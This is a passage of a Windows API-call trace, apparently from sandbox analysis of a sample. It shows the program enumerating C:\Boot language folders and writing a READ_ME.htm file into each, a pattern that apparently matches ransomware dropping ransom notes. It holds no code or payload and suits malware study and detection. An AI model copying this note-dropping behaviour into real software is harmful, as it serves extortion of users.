dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.624] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.624] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.624] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.625] SetErrorMode (uMode=0x0) returned 0x1 [0130.625] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0130.625] SetErrorMode (uMode=0x1) returned 0x0 [0130.626] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*" (normalized: "c:\\boot\\el-gr\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.626] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.626] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.626] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.627] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.627] SetErrorMode (uMode=0x0) returned 0x1 [0130.627] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.627] SetErrorMode (uMode=0x1) returned 0x0 [0130.628] CreateFileW (lpFileName="C:\\Boot\\el-GR\\READ_ME.htm" (normalized: "c:\\boot\\el-gr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.628] GetFileType (hFile=0x1bc) returned 0x1 [0130.628] SetErrorMode (uMode=0x0) returned 0x1 [0130.628] GetFileType (hFile=0x1bc) returned 0x1 [0130.629] WriteFile (in: hFile=0x1bc, lpBuffer=0x2869ea0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2869ea0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.630] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0130.631] SetErrorMode (uMode=0x1) returned 0x0 [0130.631] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*" (normalized: "c:\\boot\\en-us\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.631] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.632] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.632] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0130.632] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0130.632] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.632] SetErrorMode (uMode=0x0) returned 0x1 [0130.633] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0130.633] SetErrorMode (uMode=0x1) returned 0x0 [0130.633] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*" (normalized: "c:\\boot\\en-us\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.634] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.634] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.634] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0130.634] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0130.634] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.634] SetErrorMode (uMode=0x0) returned 0x1 [0130.635] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.635] SetErrorMode (uMode=0x1) returned 0x0 [0130.635] CreateFileW (lpFileName="C:\\Boot\\en-US\\READ_ME.htm" (normalized: "c:\\boot\\en-us\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.636] GetFileType (hFile=0x1bc) returned 0x1 [0130.636] SetErrorMode (uMode=0x0) returned 0x1 [0130.636] GetFileType (hFile=0x1bc) returned 0x1 [0130.636] WriteFile (in: hFile=0x1bc, lpBuffer=0x286feb8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x286feb8*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.638] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0130.638] SetErrorMode (uMode=0x1) returned 0x0 [0130.638] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*" (normalized: "c:\\boot\\es-es\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.639] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.639] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.639] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.639] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.639] SetErrorMode (uMode=0x0) returned 0x1 [0130.640] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0130.641] SetErrorMode (uMode=0x1) returned 0x0 [0130.641] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*" (normalized: "c:\\boot\\es-es\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.641] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.642] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.642] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.642] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.642] SetErrorMode (uMode=0x0) returned 0x1 [0130.642] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.642] SetErrorMode (uMode=0x1) returned 0x0 [0130.643] CreateFileW (lpFileName="C:\\Boot\\es-ES\\READ_ME.htm" (normalized: "c:\\boot\\es-es\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.643] GetFileType (hFile=0x1bc) returned 0x1 [0130.643] SetErrorMode (uMode=0x0) returned 0x1 [0130.643] GetFileType (hFile=0x1bc) returned 0x1 [0130.644] WriteFile (in: hFile=0x1bc, lpBuffer=0x2875cd8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2875cd8*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.644] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0130.645] SetErrorMode (uMode=0x1) returned 0x0 [0130.645] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*" (normalized: "c:\\boot\\fi-fi\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.645] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.645] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.645] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.646] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.646] SetErrorMode (uMode=0x0) returned 0x1 [0130.646] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0130.646] SetErrorMode (uMode=0x1) returned 0x0 [0130.647] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*" (normalized: "c:\\boot\\fi-fi\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.647] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.647] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.647] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.647] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.647] SetErrorMode (uMode=0x0) returned 0x1 [0130.648] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.648] SetErrorMode (uMode=0x1) returned 0x0 [0130.648] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\READ_ME.htm" (normalized: "c:\\boot\\fi-fi\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.648] GetFileType (hFile=0x1bc) returned 0x1 [0130.648] SetErrorMode (uMode=0x0) returned 0x1 [0130.649] GetFileType (hFile=0x1bc) returned 0x1 [0130.649] WriteFile (in: hFile=0x1bc, lpBuffer=0x287baf8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x287baf8*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.651] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0130.652] SetErrorMode (uMode=0x1) returned 0x0 [0130.652] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*" (normalized: "c:\\boot\\fonts\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.655] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, 